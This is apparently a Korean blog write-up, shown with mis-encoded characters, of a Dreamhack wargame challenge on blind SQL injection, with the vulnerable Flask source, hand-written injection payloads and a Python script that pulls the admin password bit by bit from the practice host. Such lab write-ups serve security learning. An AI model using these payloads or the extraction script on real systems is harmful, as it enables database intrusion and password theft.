๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_ServerSide

[Dreamhack] Level2: blind sql injection advanced

by Yun2๐Ÿ‘ 2023. 9. 16.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธAccess

Exercise: Blind SQL Injection Advanced์—์„œ ์‹ค์Šตํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.

๊ด€๋ฆฌ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” "์•„์Šคํ‚ค์ฝ”๋“œ"์™€ "ํ•œ๊ธ€"๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋‹ค.

 

 

๐Ÿ‘พExploit Algorithm & Payload

๋”๋ณด๊ธฐ

#app.py

import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''

@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

#init.sql

CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `user_db`;
CREATE TABLE users (
    idx int auto_increment primary key,
    uid varchar(128) not null,
    upw varchar(128) not null
);

INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;

 

 

#1


 

: ‘/’ ํŽ˜์ด์ง€์—์„œ ๊ฐ’์„ ์ž…๋ ฅํ•˜๋ฉด ๊ฒฐ๊ณผ๊ฐ€ ๋ฐ˜์‘ํ•  ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

: input ํƒœ๊ทธ์— admin์„ submitํ•˜์˜€๋”๋‹ˆ ๊ฒฐ๊ณผ๋กœ ์‚ฌ์šฉ์ž๊ฐ€ ์กด์žฌํ•œ๋‹ค๋Š” ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: GET๋ฐฉ์‹์œผ๋กœ /?uid ํŒŒ๋ผ๋ฏธํ„ฐ์— ๊ฐ’์„ ์ž…๋ ฅํ•˜๋ฉด ๋™์ž‘ํ•˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

: ๊ด€๋ฆฌ์ž๋กœ ์ถ”์ธก๋˜๋Š” ๊ณ„์ •์„(admin) ์‚ฌ์šฉ์ž๋ฅผ ํ™•์ธํ–ˆ๊ธฐ์— ๊ด€๋ฆฌ์ž ํŒจ์Šค์›Œ๋“œ์˜ ๊ธธ์ด๋ฅผ ํŒŒ์•…ํ•˜๊ณ ,  "์•„์Šคํ‚ค์ฝ”๋“œ"์™€ "ํ•œ๊ธ€"๋กœ ์‹œ๋„ํ•˜์—ฌ FLAG๋ฅผ ํš๋“ํ•˜๊ณ ์ž ์ƒ๊ฐํ–ˆ๋‹ค.

 

 

#2


-Input Form
SELECT * FROM users WHERE uid='';
1)
admin

1-1)
guest

2)
guest' and substr(upw,1,1)='a
guest' and substr(upw,1,1)='b
...

guest' and substr(upw,1,1)='g    #exists
guest' and substr(upw,2,1)='u    #exists
guest' and substr(upw,3,1)='e    #exists
...

3)
#Binary Search๋ฅผ ํ†ตํ•œ Blind SQLI๋„ ๋™์ž‘ ํ™•์ธ
#์•„์Šคํ‚ค๋ฒˆํ˜ธ 32~126
guest' and ascii(substr(upw,1,1))>='102    #exists
guest' and ascii(substr(upw,2,1))>='117    #exists
guest' and ascii(substr(upw,3,1))>='101    #exists
guest' and ascii(substr(upw,4,1))>='115    #exists
guest' and ascii(substr(upw,5,1))>='116    #exists

4)
#substr์˜ index ์กฐ์ ˆ๋กœ ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด ํ™•์ธ
guest' and LENGTH(upw)=5; #exists

5) #bit์—ฐ์‚ฐ์œผ๋กœ ํ•œ ๋ฐ”์ดํŠธ์”ฉ ํŒŒ์•…

: ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹œ๋„ํ•˜์—ฌ ๊ฒฐ๊ณผ ๊ฐ’์„ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

: ์—ฌ๊ธฐ์„œ LENGTH๋กœ admin ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด(27)๋ฅผ ์–ป์—ˆ์ง€๋งŒ char_length๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹์„ ๊ฒƒ ๊ฐ™๋‹ค.

(๋ฌธ์ž ๊ตฌ๋ถ„์—†์ด ๋ฌธ์ž ํ•˜๋‚˜๋‹น ํ•˜๋‚˜๋กœ ์ฒดํฌํ•ด์ฃผ๊ธฐ ๋•Œ๋ฌธ)

(LENGTH๋กœ ํ•ด๋„ ์ƒ๊ด€์€ ์—†์Œ)

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


###์ฐธ๊ณ ###
#string.ascii_letters: ์˜์–ด ์•ŒํŒŒ๋ฒณ ์†Œ๋ฌธ์ž, ๋Œ€๋ฌธ์ž ๋ชจ๋‘๋ฅผ ์ถœ๋ ฅ
#string.digits: ์‹ญ์ง„์ˆ˜ 0 ~ 9 ๊นŒ์ง€ ์ถœ๋ ฅ
#string.punctuation: ํŠน์ˆ˜ ๋ฌธ์ž ์ถœ๋ ฅ
#target_chr = string.ascii_letters + string.digits + string.punctuation
import requests, string

#GET ๋ฐฉ์‹์œผ๋กœ ๋™์ž‘
target_url = f"http://host3.dreamhack.games:24109/"

#ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด ์ดˆ๊ธฐํ™”
upw_len = 1

#ํŒจ์Šค์›Œ๋“œ๊ฐ€ ์•„๋‹ ๊ฒฝ์šฐ์˜ Content-Length ๊ธธ์ด ์ €์žฅ
#Content-Length์˜ ๋™์ž‘์ด ๋‹ค๋ฅผ ๊ฒฝ์šฐ ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด๋กœ ์œ ์ถ”
#์—ฌ๊ธฐ์„œ๋Š” ํŒจ์Šค์›Œ๋“œ ์•„๋‹Œ ๊ฐ’ [214-215], ํŒจ์Šค์›Œ๋“œ ๋™์ž‘ ๊ฐ’ -
content_len = ""

#์‚ฌ์šฉ์ž ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด
while(1):
    print(f"upw_len: {upw_len}")
    payload = f"admin' AND LENGTH(upw) ={upw_len}#"
    param = {
        #http://host3.dreamhack.games:10005/?uid=
        'uid':payload,
    }
    response = requests.get(target_url, params=param)
    if upw_len == 1:
        content_len = response.headers["Content-Length"]
        content_length_int = int(content_len)
        content_margin = content_length_int + 10
        content_len = str(content_margin)
        
        print(f"Content-Length: {content_len}")
        upw_len += 1
        continue
    
    #Content-Length ๋น„๊ต๋ฅผ ์œ„ํ•œ ๋ณ€์ˆ˜
    content_com = response.headers["Content-Length"]
    
    if int(content_len) < int(content_com):
        break
    else:
        upw_len += 1

print(f"[*]upw_len: {upw_len}")

password="" #ํŒจ์Šค์›Œ๋“œ ๊ฐ’

def convert_bits_to_korean(bits):
    korean_char_code_list = []
    
    for i in range(0, len(bits), 8):
        byte_bits = bits[i:i+8]
        
        if byte_bits == "00000000":
            break
        
        char_code_decimal = int(byte_bits, 2)
    
        # UTF-8 ๋””์ฝ”๋”ฉ์„ ํ†ตํ•ด ํ•œ๊ธ€ ๋ฌธ์ž ์–ป๊ธฐ(Big Endian ํ˜•ํƒœ์˜ ๋ฌธ์ž)
        # ์ตœ์ข…์ ์œผ๋กœ utf-8 ๋กœ decode.
        korean_char_code_list.append(char_code_decimal)

    korean_text_bytes=bytes(korean_char_code_list)

    return korean_text_bytes.decode('utf-8')

for i in range(1, upw_len+1):
    bit_length=0 

    while(True):
        bit_length += 1 
        payload= f"admin' and LENGTH(bin(ord(substr(upw,{i},1))))={bit_length}; --"
        param={
            'uid': payload
        }

        response=requests.get(target_url,params=param)

        if 'exists' in response.text:
            break

    print(f"{i}๋ฒˆ์งธ pwd(๋ฌธ์ž ๋น„ํŠธ): {bit_length}")

    bits=""
    for j in range(1, bit_length+1):

        payload=f"admin' and substr(bin(ord(substr(upw,{i},1))),{j},1)='1'; -- "
        param={
            'uid': payload
        }

        response=requests.get(target_url,params=param)

        if 'exists' in response.text:
            bits+='1'
        else:
            bits+='0'

    print(f"-> {bits}")

    password+=convert_bits_to_korean(bits)

print("Password:", password)

 

 

 

๐Ÿ“ŒSummary


Blind SQL Injection

: DB ์ฟผ๋ฆฌ์— ๋Œ€ํ•œ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ˜ํ™˜ํ•˜์ง€ ์•Š์œผ๋ฉด ๊ณต๊ฒฉ์„ ํ•  ์ˆ˜ ์—†๋Š” Error-Based SQL Injection๊ณผ ๋‹ฌ๋ฆฌ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๊ฐ€ ์•„๋‹Œ ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ์˜ ์ฐธ๊ณผ ๊ฑฐ์ง“์„ ํ†ตํ•ด ์˜๋„ํ•˜์ง€ ์•Š์€ SQL๋ฌธ์„ ์‹คํ–‰ํ•จ์œผ๋กœ์จ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋น„์ •์ƒ์ ์œผ๋กœ ๊ณต๊ฒฉํ•˜๋Š” ๊ธฐ๋ฒ•

 

-์ฐธ๊ณ  ๊ณต๊ฒฉ ๊ธฐ๋ฒ•-

: substr, bin, ord ํ•จ์ˆ˜๋Š” SQL ์ฟผ๋ฆฌ์—์„œ ๋ฌธ์ž์—ด ๋‚ด์˜ ๋ฌธ์ž๋ฅผ ์กฐ์ž‘ํ•˜๊ณ  ๋น„๊ตํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ

 

substr(string, start, length)

: ์ฃผ์–ด์ง„ ๋ฌธ์ž์—ด์—์„œ ํ•˜์œ„ ๋ฌธ์ž์—ด์„ ์ถ”์ถœํ•˜๋Š” ์„ธ ๊ฐ€์ง€ ์ธ์ˆ˜๋ฅผ ์‚ฌ์šฉ

 

bin(numeric)

: ์ˆซ์ž ๊ฐ’์„ ์ด์ง„ ๋ฌธ์ž์—ด ํ‘œํ˜„์œผ๋กœ ๋ณ€ํ™˜

: ์ถ”๊ฐ€ ์กฐ์ž‘์„ ์œ„ํ•ด ๋ฌธ์ž ์ฝ”๋“œ๋ฅผ ์ด์ง„ ๋ฌธ์ž์—ด๋กœ ๋ณ€ํ™˜ํ•˜๊ธฐ ์œ„ํ•ด ์ผ๋ฐ˜์ ์œผ๋กœ ord ํ•จ์ˆ˜์™€ ํ•จ๊ป˜ ์‚ฌ์šฉ๋˜๊ธฐ๋„ ํ•จ

 

ord(๋ฌธ์ž)

: ์ฃผ์–ด์ง„ ๋ฌธ์ž์˜ ์œ ํ‹ฐ์ฝ”๋“œ ์ฝ”๋“œ ํฌ์ธํŠธ๋กœ ๋ฐ˜ํ™˜

: ํŠน์ • ๋ฌธ์ž์˜ ๋ฌธ์ž ์ฝ”๋“œ๋ฅผ ์–ป๋Š”๋ฐ ์‚ฌ์šฉ

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_ServerSide' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1: error based sql injection  (0) 2024.01.26